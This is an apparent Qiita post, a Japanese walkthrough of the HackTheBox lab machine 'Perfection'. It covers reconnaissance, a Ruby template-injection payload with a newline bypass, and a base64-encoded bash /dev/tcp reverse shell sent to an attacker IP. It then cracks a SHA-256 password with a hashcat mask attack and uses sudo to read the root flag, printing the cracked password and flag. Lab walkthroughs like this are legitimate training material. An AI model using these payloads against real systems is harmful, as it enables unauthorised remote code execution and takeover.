2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

HackTheBox「Perfection」マシンのWriteupです。

User Flag

$ nmap -Pn -sV -T4 -A -sC 10.10.11.253                    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-17 22:07 EDT
Warning: 10.10.11.253 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.253
Host is up (0.26s latency).
Not shown: 976 closed tcp ports (conn-refused)
PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:e4:79:e8:59:28:df:95:2d:ad:57:4a:46:04:ea:70 (ECDSA)
|_  256 e9:ea:0c:1d:86:13:ed:95:a9:d0:0b:c8:22:e4:cf:e9 (ED25519)
80/tcp    open     http           nginx
|_http-title: Weighted Grade Calculator

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.9p1
80 http nginx

ホームページにアクセスできました。

web home page.png

/weighted-gradeページには入力フォームがあります。

form.png

フッターからWEBrick 1.7.0を使用していると分かります。
GitHubのページが見つかり、言語はRubyだと分かりました。

ディレクトリの列挙を行いましたが、攻撃に使えそうなパスは見つかりませんでした。

$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.10.11.253/FUZZ
about                   [Status: 200, Size: 3827, Words: 484, Lines: 104, Duration: 283ms]
\                       [Status: 200, Size: 3842, Words: 473, Lines: 102, Duration: 290ms]

WEBrick 1.7.0での脆弱性情報は見つけられませんでした。

Webサイトのフォームの挙動を確認します。
正常にリクエストが処理されるとCategoryパラメータの値などが表示されると分かりました。

form success.png

なのでXSSやSSTIの攻撃が出来そうです。
しかし、レスポンスヘッダを見るとX-Xss-Protection: 1; mode=blockがあるのでXSSは難しそうです。

xss protection.png

SSTIの攻撃を試みます。
HackTricksなどでRubyのSSTIペイロードを見つけました。

パラメータの値に改行コードを付け加えることでSSTIを成功させることが出来ました。

category1=a%0A<%25%3D7*7;%25>

ssti success.png

下記のようなペイロードにすることで/home/susan/user.txtファイルからフラグを入手できました。

a%0A<%25%3D`cat+/home/susan/user.txt`%25>

user flag.png

Root Flag

Rubyではsystem()関数を利用してOSコマンドを実行できます。
リバースシェルを実行します。
Netcatでリッスンします。

$ nc -lnvp 1234

Bash TCPのペイロードを使用します。

bash -i >& /dev/tcp/<ip>/<port> 0>&1

ペイロードをbase64でエンコードします。

$ echo -n "bash -i >& /dev/tcp/10.10.14.11/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=

エンコードされた文字列をURLエンコードします。

$ hURL -U "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE="

Original    :: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA+JjE=
URL ENcoded :: YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D

最終的なペイロードは下記のようになりました。

a%0A<%25%3Dsystem("echo+YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC4xMS8xMjM0IDA%2BJjE%3D|base64+-d|bash");%25>

これでリクエストを送信するとsusanのシェルを獲得できました。

$ nc -lnvp 1234   
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.253] 55502
bash: cannot set terminal process group (1010): Inappropriate ioctl for device
bash: no job control in this shell
susan@perfection:~/ruby_app$ whoami
whoami
susan

sudo -lは実行できませんでした。

$ sudo -l
sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
sudo: a password is required

/home/susan/MigrationにDBデータを発見しました。

$ ls -l Migration/
ls -l Migration/
total 8
-rw-r--r-- 1 root root 8192 May 14  2023 pupilpath_credentials.db

ローカルにダウンロードして見ると、ユーザーのクレデンシャル情報を確認できましたが、パスワードはハッシュ化されているようです。

db data.png

Webサイトを見るとsusanがシステム管理者であるという文言を発見しました。

about.png

なので、DBデータのSusan Millerのハッシュ値を解読していきます。
linpeasを実行すると/var/mail/susanという興味深いファイルを見つけました。

╔══════════╣ Mails (limit 50)
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/mail/susan                              
    39937      4 -rw-r-----   1 root     susan         625 May 14  2023 /var/spool/mail/susan

テキストの内容は「パスワードの形式を{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}に変更した」ということが書かれています。

つまり元のパスワードの文字列はsusan_nasus_<1~1,000,000,000>まで分かりました。

Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students

in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:

{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}

Note that all letters of the first name should be convered into lowercase.

Please hit me with updates on the migration when you can. I am currently registering our university with the platform.

- Tina, your delightful student

Hash Analyzerで調べるとハッシュアルゴリズムはSHA2-256だと予測できました。

hash analyzer.png

これまでの情報を基にハッシュ値をHashcatで解析します。
パスワードのランダムな数字は1~1~1,000,000,000だと分かっているのでHashcatのマスク攻撃として-a 3 susan_nasus_?d?d?d?d?d?d?d?d?dと指定できます。

$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

パスワードを特定できました。

abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_413759210

このパスワードを使用してSSH接続を行います。

$ ssh susan@10.10.11.253
susan@perfection:~$

sudo -lで確認すると全てのコマンドをパスワードなしの管理者権限で実行できると分かりました。

$ sudo -l
[sudo] password for susan: 
Matching Defaults entries for susan on perfection:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User susan may run the following commands on perfection:
    (ALL : ALL) ALL

最後に/root/root.txtからフラグを入手します。

$ sudo cat /root/root.txt
7bb006019d51b6480b4fa5fa1534ae38
2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?